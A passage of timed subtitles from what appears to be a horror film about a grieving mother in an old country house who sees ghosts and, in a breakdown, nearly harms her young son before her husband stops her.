00:45:48.827 --> 00:45:50.844
Well, what does that mean?

00:45:52.898 --> 00:45:55.982
There was a time,
not so long ago,

00:45:55.984 --> 00:45:58.818
when children who were born
with certain difficulties

00:45:58.971 --> 00:46:00.236
were considered embarrassing.

00:46:02.875 --> 00:46:06.427
Especially if the family was well-to-do.
Prominent socially.

00:46:08.981 --> 00:46:10.747
Sometimes a decision
would be made

00:46:10.816 --> 00:46:13.684
to keep that child's
very existence a secret.

00:46:15.938 --> 00:46:17.287
Go on.

00:46:17.356 --> 00:46:20.407
So, confined to a room much
like the one you described,

00:46:20.476 --> 00:46:24.511
tended to only by the parents
or perhaps a trusted servant,

00:46:24.513 --> 00:46:29.416
that boy or girl would spend their
lives, however long those might be.

00:46:29.484 --> 00:46:32.553
No one to talk to.
No one to play with.

00:46:32.622 --> 00:46:35.689
Never feeling the sun or the
rain on their little faces.

00:46:36.525 --> 00:46:38.359
These children were...

00:46:40.563 --> 00:46:42.896
Disappointments.

00:46:42.898 --> 00:46:46.817
Their time on this Earth was
frequently brief, God willing.

00:46:46.885 --> 00:46:50.620
Then when it was over, they were buried.
Discreetly.

00:46:50.690 --> 00:46:53.607
Some say their spirits
could remain behind.

00:46:55.578 --> 00:46:57.945
So, I've been
researching the presence

00:46:58.013 --> 00:47:00.547
of disturbed spirits
in these old homes.

00:47:01.850 --> 00:47:04.784
And?
And...

00:47:06.455 --> 00:47:09.089
I think I've watched
Poltergeist too many times.

00:47:09.158 --> 00:47:12.842
People say
I'm full of shit and whiskey.

00:47:38.704 --> 00:47:39.836
Hello?

00:47:41.056 --> 00:47:42.856
Hello yourself!

00:47:42.925 --> 00:47:44.191
What are you doing up there?

00:47:45.578 --> 00:47:47.594
Thought you said to come
back in a few days.

00:47:58.740 --> 00:48:02.058
So, what are you thinking?
I think all this needs to go.

00:48:02.060 --> 00:48:05.229
I say we demo the existing and
build a new one with pitch.

00:48:05.298 --> 00:48:06.696
Better drainage.

00:48:06.766 --> 00:48:09.399
Standard per foot?
Quarter inch.

00:48:09.468 --> 00:48:12.703
Fir strips, plywood, new
flashing, new tar paper.

00:48:12.805 --> 00:48:14.525
Top of my head, I'd say
it's a four-day job.

00:48:14.573 --> 00:48:16.890
I'd say a two-day job max.

00:48:16.959 --> 00:48:18.208
Well, I bill 80 bucks an hour.

00:48:18.277 --> 00:48:19.777
Well, you'll get 60.

00:48:19.845 --> 00:48:23.847
So, two days,
60, 500 for materials,

00:48:23.915 --> 00:48:26.867
that's $1,460 max.

00:48:26.936 --> 00:48:28.668
You don't talk
like an architect.

00:48:28.737 --> 00:48:31.738
My father worked as a general
contractor for over 40 years.

00:48:31.806 --> 00:48:33.306
Is that right?
That's right.

00:48:33.375 --> 00:48:35.215
And he didn't like leaving
me with babysitters,

00:48:35.277 --> 00:48:36.976
so, I've spent
a lot of time on-site,

00:48:37.046 --> 00:48:39.679
and a lot of time
around young men like you.

00:48:41.550 --> 00:48:43.870
So then you're used to seeing
people smoke on the job site.

00:48:47.522 --> 00:48:49.389
When did you start
working for your daddy?

00:48:49.458 --> 00:48:52.492
When I was old enough.
Doing what?

00:48:52.561 --> 00:48:54.377
Whatever he'd let me do.

00:48:54.446 --> 00:48:55.446
He must have been proud.

00:48:56.081 --> 00:48:57.414
Of?

00:48:57.483 --> 00:49:00.767
Of you, getting a degree,
becoming an architect.

00:49:00.836 --> 00:49:03.703
Actually, he had
a heart attack on the job

00:49:03.772 --> 00:49:06.273
a few months after
I graduated, so...

00:49:06.341 --> 00:49:08.108
Sorry to hear about that.

00:49:09.978 --> 00:49:11.644
He died getting his hands dirty.

00:49:14.066 --> 00:49:15.482
Just like he wanted?

00:49:16.335 --> 00:49:17.784
I guess so.

00:49:19.955 --> 00:49:22.072
- So, what about your mom...
- Mommy!

00:49:22.140 --> 00:49:23.868
Do not come up here, Lucas!
Stay right where you are.

00:49:23.892 --> 00:49:25.375
I'm hungry now!

00:49:25.443 --> 00:49:27.844
I'll be right down. Just get
off that ladder, please.

00:49:29.931 --> 00:49:30.931
Okay.

00:49:35.787 --> 00:49:37.354
Where's his father?
He's in the city.

00:49:38.757 --> 00:49:40.190
Coming home soon?

00:49:40.259 --> 00:49:41.325
Yeah, in a few days.

00:49:43.128 --> 00:49:46.213
Yeah, bet it's scary at night.

00:49:46.282 --> 00:49:47.781
Tucked up in bed
all by yourself.

00:49:50.936 --> 00:49:53.703
Congratulations.
You just found the line.

00:49:53.772 --> 00:49:56.739
Oh, yeah? So, now what?

00:49:56.808 --> 00:49:58.141
Now you can back the fuck up.

00:50:00.012 --> 00:50:03.046
You can start in the morning.
I'll expect you around 8:00.

00:50:09.755 --> 00:50:12.522
♪ This is the garden
of make believe

00:50:12.591 --> 00:50:15.408
♪ A magical garden
of make believe

00:50:15.477 --> 00:50:18.277
♪ Where flowers chuckle
and birds play tricks

00:50:18.397 --> 00:50:21.331
♪ And a magic tree
grows lollipop sticks

00:50:23.319 --> 00:50:26.303
♪ Here in the garden
what we say and do

00:50:26.371 --> 00:50:28.705
♪ We'd like you to
join us and do it, too

00:50:28.774 --> 00:50:32.926
♪ Can you crow like a rooster?
Cock-a-doodle-doo!

00:50:32.995 --> 00:50:36.880
♪ And clap your hands
and stamp your shoe

00:50:36.949 --> 00:50:39.932
♪ It's a funny place
but it's surely true

00:50:40.001 --> 00:50:42.869
♪ That we'd like to
share it all with you

00:50:49.044 --> 00:50:51.795
♪ If you sing for me
La-la-la-la-la-la

00:50:51.864 --> 00:50:54.164
♪ I'll sing for you
Lu-Lu-Lu-Lu-Lu-Lu

00:50:54.299 --> 00:50:56.833
♪ If you cry for me
Ooo-hoo-hoo-hoo

00:50:59.104 --> 00:51:02.789
♪ And clap your hands
and stamp your shoe

00:51:02.858 --> 00:51:05.943
♪ It's a funny place
but it's surely true

00:51:06.011 --> 00:51:08.912
♪ That we'd like to
share it all with you

00:51:11.450 --> 00:51:14.184
♪ If you sing for me
La-la-la-la-la-la

00:51:14.253 --> 00:51:17.354
♪ I'll sing for you
Lu-Lu-Lu-Lu-Lu-Lu

00:51:17.423 --> 00:51:19.740
♪ If you cry for me
Ooo-hoo-hoo-hoo

00:51:19.808 --> 00:51:22.275
♪ I'll cry for you
Boo-hoo-hoo-hoo

00:51:22.344 --> 00:51:25.045
♪ If you scream for me

00:51:25.114 --> 00:51:26.212
♪ I'll scream for you... ♪

00:51:29.518 --> 00:51:30.518
Lucas!

00:51:34.055 --> 00:51:37.123
Rascal! Rascal! Rascal!
Where are you, Rascal?

00:51:58.497 --> 00:52:00.080
Lucas! Are you up there?

00:52:02.284 --> 00:52:03.616
Lucas!

00:52:04.936 --> 00:52:07.671
Lucas, we're not playing
games right now, honey.

00:52:12.444 --> 00:52:13.444
Lucas?

00:52:23.738 --> 00:52:25.022
Oh, my God.

00:52:29.929 --> 00:52:30.929
What's your name?

00:52:33.832 --> 00:52:35.098
Can you tell me your name?

00:52:36.468 --> 00:52:37.568
Laura.

00:52:40.105 --> 00:52:41.338
He doesn't want you here.

00:52:42.974 --> 00:52:43.974
Who?

00:53:18.326 --> 00:53:21.728
Oh, there you are!
I've been looking all over for you.

00:53:43.602 --> 00:53:45.735
Oh, there it is.

00:53:47.439 --> 00:53:49.422
My book, I was looking
all over for it.

00:53:50.792 --> 00:53:52.042
There, I can read.

00:53:58.150 --> 00:53:59.282
Lucas!

00:54:01.886 --> 00:54:04.637
Lucas! Lucas!

00:54:11.647 --> 00:54:13.546
Lucas!

00:54:23.225 --> 00:54:24.674
Lucas!

00:54:34.336 --> 00:54:35.735
Oh, Lucas...

00:54:40.342 --> 00:54:41.608
Did you see that?

00:54:43.929 --> 00:54:47.764
Never mind. Come on.
Let's go inside for lunch.

00:54:47.833 --> 00:54:51.100
Mommy, wait! I need Rascal.
He came out with me.

00:54:51.170 --> 00:54:53.069
Wait, wait, wait.
We'll go together.

00:54:57.509 --> 00:55:00.544
Rascal! Rascal!

00:55:01.347 --> 00:55:02.579
Rascal!

00:55:03.315 --> 00:55:05.382
Rascal!

00:55:05.451 --> 00:55:07.517
Hey, baby, why don't you
go look in those trees?

00:55:07.586 --> 00:55:08.985
He's a really good climber.
Okay.

00:55:10.989 --> 00:55:13.389
Rascal! Rascal!

00:55:13.458 --> 00:55:17.310
Where are you? Rascal!

00:55:17.379 --> 00:55:19.196
Rascal!

00:55:19.264 --> 00:55:22.098
Come down wherever you are.
Come down, kitty, kitty.

00:55:23.352 --> 00:55:25.418
Where are you?

00:55:39.083 --> 00:55:40.951
Mommy, I can't see him.

00:55:41.019 --> 00:55:43.019
Why don't you look over there?
I think I heard him.

00:55:50.762 --> 00:55:52.662
He's not out here, baby.

00:55:52.730 --> 00:55:55.298
He's probably back in the
house skitching about.

00:55:55.367 --> 00:55:57.133
We'll find him?

00:55:57.202 --> 00:55:58.935
Yeah, we'll find him.

00:56:27.182 --> 00:56:28.665
Oh, shit.

00:57:51.933 --> 00:57:53.633
Dana!

00:57:54.819 --> 00:57:56.569
Dana! Dana!

00:57:58.173 --> 00:58:00.372
Shit! Stop! Hey.

00:58:00.441 --> 00:58:03.993
Hey. I got you. Hey, Dana.

00:58:11.970 --> 00:58:13.703
I feel like she's slipping.

00:58:15.157 --> 00:58:16.689
She had a few episodes

00:58:17.859 --> 00:58:20.126
where she completely
lost track of time.

00:58:22.664 --> 00:58:25.831
I mean, she thinks that odd
things are going on in the house.

00:58:27.502 --> 00:58:29.068
Odd in what way?

00:58:31.673 --> 00:58:35.275
She started to imagine things that
aren't really happening again.

00:58:41.750 --> 00:58:44.550
Catherine's birthday would
have been Sunday, right?

00:58:49.590 --> 00:58:50.890
Yeah.

00:58:54.813 --> 00:58:56.947
We both know that
you tend to bury

00:58:57.015 --> 00:58:58.448
your feelings for
the greater good,

00:58:58.516 --> 00:59:01.818
and that is not
good for you, either.

00:59:01.887 --> 00:59:07.490
Being out in that big house way outside
of the city is very isolating.

00:59:07.559 --> 00:59:11.577
Why don't you have
people over on Sunday?

00:59:11.646 --> 00:59:14.464
She doesn't need advice.
She needs friends.

00:59:19.204 --> 00:59:20.403
Okay.

00:59:38.390 --> 00:59:40.407
Um...

00:59:40.475 --> 00:59:43.242
There's a gravestone out back.

00:59:43.311 --> 00:59:45.929
It's probably an old dog's,
but it scares Lucas.

00:59:45.997 --> 00:59:48.064
Would you dig it up
and make sure it's nothing?

00:59:49.650 --> 00:59:52.001
I don't want David to know.

00:59:54.940 --> 00:59:56.906
Yeah. Then I'll do that.

00:59:59.111 --> 01:00:00.910
Sure hope he
appreciates all this.

01:00:07.585 --> 01:00:10.586
I said I sure hope
he appreciates all this.

01:00:10.655 --> 01:00:12.695
I hope he appreciates all
that you're doing for him.

01:00:12.724 --> 01:00:14.474
What am I doing?

01:00:14.543 --> 01:00:17.860
Leaving the city, buying the
old house in the country,

01:00:17.929 --> 01:00:20.397
fixing it up so you can
throw some big dinners.

01:00:20.465 --> 01:00:22.965
Everyone gathered around your
beautiful Stickley table.

01:00:23.034 --> 01:00:24.295
Eating vegetables
you grew out back

01:00:24.319 --> 01:00:27.686
or bought at the corner
at the farmer stand.

01:00:27.755 --> 01:00:29.355
Wasn't that the plan?

01:00:31.977 --> 01:00:33.943
Yeah, or something.

01:00:38.683 --> 01:00:41.784
How would your girlfriend feel
about us sharing a smoke?

01:00:42.687 --> 01:00:44.320
I don't have one.

01:00:44.473 --> 01:00:46.773
If I did, I probably wouldn't
care what she thought.

01:00:46.842 --> 01:00:49.576
Why not?

01:00:49.644 --> 01:00:52.211
I don't live my life worrying
about things I can't control.

01:00:53.314 --> 01:00:55.481
And how is that
working out for you?

01:00:56.535 --> 01:00:59.135
It works out just fine.

01:00:59.203 --> 01:01:02.739
Keep me working around here long
enough, you might get to see or

01:01:02.807 --> 01:01:04.207
feel how it works out,
for yourself.

01:01:09.548 --> 01:01:11.214
Well, it's a shame
we're almost finished.

01:01:11.983 --> 01:01:13.332
We don't have to be.

01:01:41.262 --> 01:01:43.779
David! I thought you weren't
home till tomorrow.

01:01:46.418 --> 01:01:47.650
I was.

01:01:49.837 --> 01:01:53.506
Then I thought I should be home
with my wife and my son. Hmm?

01:01:54.826 --> 01:01:56.425
How did you get home
from the station?

01:01:57.462 --> 01:01:59.295
Oh, I got a cab.

01:01:59.364 --> 01:02:03.432
You know, I think the driver doubles up
as the town's dentist in his spare time.

01:02:05.720 --> 01:02:07.220
Was it a productive trip?

01:02:08.256 --> 01:02:11.057
Yeah. Yeah, I guess it was.

01:02:13.210 --> 01:02:14.594
Was it productive?

01:02:16.097 --> 01:02:18.481
Yes. It was productive.

01:02:20.285 --> 01:02:24.186
Those paintings are incredible,
huh, don't you think?

01:02:24.255 --> 01:02:25.804
I mean, I can't imagine.

01:02:25.873 --> 01:02:28.358
I can't fathom why would someone
would want to cover them up.

01:02:28.426 --> 01:02:29.592
I can.

01:02:36.134 --> 01:02:37.533
Are we taking our...

01:02:37.601 --> 01:02:40.269
No. No, I'm not.

01:02:41.122 --> 01:02:43.539
That's probably
not the best idea.

01:02:43.608 --> 01:02:44.923
No, it's probably not.

01:02:46.127 --> 01:02:47.743
But they make me feel...
Fuzzy.

01:02:49.046 --> 01:02:50.430
Fuzzy.

01:02:54.285 --> 01:02:57.954
I should get back to work. Lucas
will be happy you're home.

01:03:53.327 --> 01:03:54.894
Chill that wine, buddy.

01:03:54.963 --> 01:03:56.462
We just crossed
into North Carolina.

01:03:56.531 --> 01:03:58.364
We should be there
around 5:00.

01:03:58.432 --> 01:03:59.932
Yeah, great.

01:05:03.497 --> 01:05:04.613
Oh!

01:05:49.126 --> 01:05:50.193
Ah!

01:05:54.031 --> 01:05:55.665
So, where exactly is Dana?

01:06:14.702 --> 01:06:18.921
Oh, you poor thing,
out here all by yourself.

01:06:27.499 --> 01:06:28.564
Oh!

01:06:40.912 --> 01:06:42.044
Dana!

01:06:55.442 --> 01:06:56.442
Lucas?

01:07:16.781 --> 01:07:17.863
Lucas?

01:07:29.059 --> 01:07:30.226
Oh!

01:08:30.455 --> 01:08:31.455
Shit.

01:08:32.890 --> 01:08:34.056
Dana!

01:08:38.680 --> 01:08:41.981
I will put her
out of her misery.

01:08:42.050 --> 01:08:45.184
We have allowed this curse
to linger too long.

01:08:45.252 --> 01:08:47.653
Don't. Don't! I beg you!

01:08:52.660 --> 01:08:53.993
Ah!

01:09:12.613 --> 01:09:15.230
She will embarrass me no more.

01:09:36.838 --> 01:09:39.839
You are a miserable mother.

01:09:41.042 --> 01:09:44.443
And you will fail again.

01:09:46.280 --> 01:09:47.446
A daughter,

01:09:49.150 --> 01:09:50.716
and now a dead son.

01:09:50.785 --> 01:09:52.017
No!

01:09:53.504 --> 01:09:54.504
Amos!

01:11:00.487 --> 01:11:02.121
Dana! Dana! Dana!

01:11:12.699 --> 01:11:14.900
Dana! Dana!

01:11:34.255 --> 01:11:35.871
- Mommy!
- Dana!

01:11:35.939 --> 01:11:37.606
Dana! Dana!

01:11:38.609 --> 01:11:40.475
Put it down!
Put it down!

01:11:43.715 --> 01:11:45.530
Stop. Stop. Stop. Stop.

01:11:47.018 --> 01:11:50.452
It's okay. It's okay. It's okay.
I got you. It's okay.

01:11:50.521 --> 01:11:51.970
It's Daddy, it's Daddy.
I got you.

01:11:52.039 --> 01:11:54.623
I got you. I got you.

01:11:54.692 --> 01:11:56.687
Mommy.
It's a bad dream. It's a bad dream.

01:11:56.711 --> 01:11:59.845
It's okay, it's a bad dream.
It's a bad dream.

01:12:35.182 --> 01:12:37.916
Are you out of your fucking mind?
What the fuck?

01:12:40.520 --> 01:12:43.038
Are you trying to destroy
everything we ever had, Dana?

01:12:43.106 --> 01:12:44.205
Everything? Are you?

01:12:44.274 --> 01:12:45.724
Is he okay?

01:12:45.793 --> 01:12:48.043
Yeah, he's fine, Dana. He's fine.
He's asleep in our bed.

01:12:48.112 --> 01:12:49.778
He thinks it was a bad dream.

01:12:53.567 --> 01:12:57.169
David, I think
I can't tell anymore

01:12:57.238 --> 01:12:58.971
what's real and what's not real.

01:12:59.991 --> 01:13:01.190
There was no one there.

01:13:02.593 --> 01:13:05.294
Nobody was trying to hurt Lucas.
Dana, it was just...

01:13:06.881 --> 01:13:08.380
It was just you.

01:13:15.389 --> 01:13:17.188
I almost killed him.

01:13:22.129 --> 01:13:23.728
I killed Catherine.

01:13:42.550 --> 01:13:44.032
Oh, God!

01:13:44.101 --> 01:13:45.101
No.

01:13:46.887 --> 01:13:50.122
No, that was an accident.
That was a horrible accident.

01:13:50.224 --> 01:13:53.242
That's all it was.
And you know that.

01:14:00.301 --> 01:14:02.684
Baby, come here.

01:14:26.627 --> 01:14:28.260
We need to get back home.

01:14:29.529 --> 01:14:32.197
No more running.
You will get better.

01:14:33.700 --> 01:14:35.768
There's nothing
we can't overcome.

01:14:35.968 --> 01:14:53.968
Psagmeno.com
MOViE iNFO WiTH .srt FiLES!

ZeroDay Forums Mini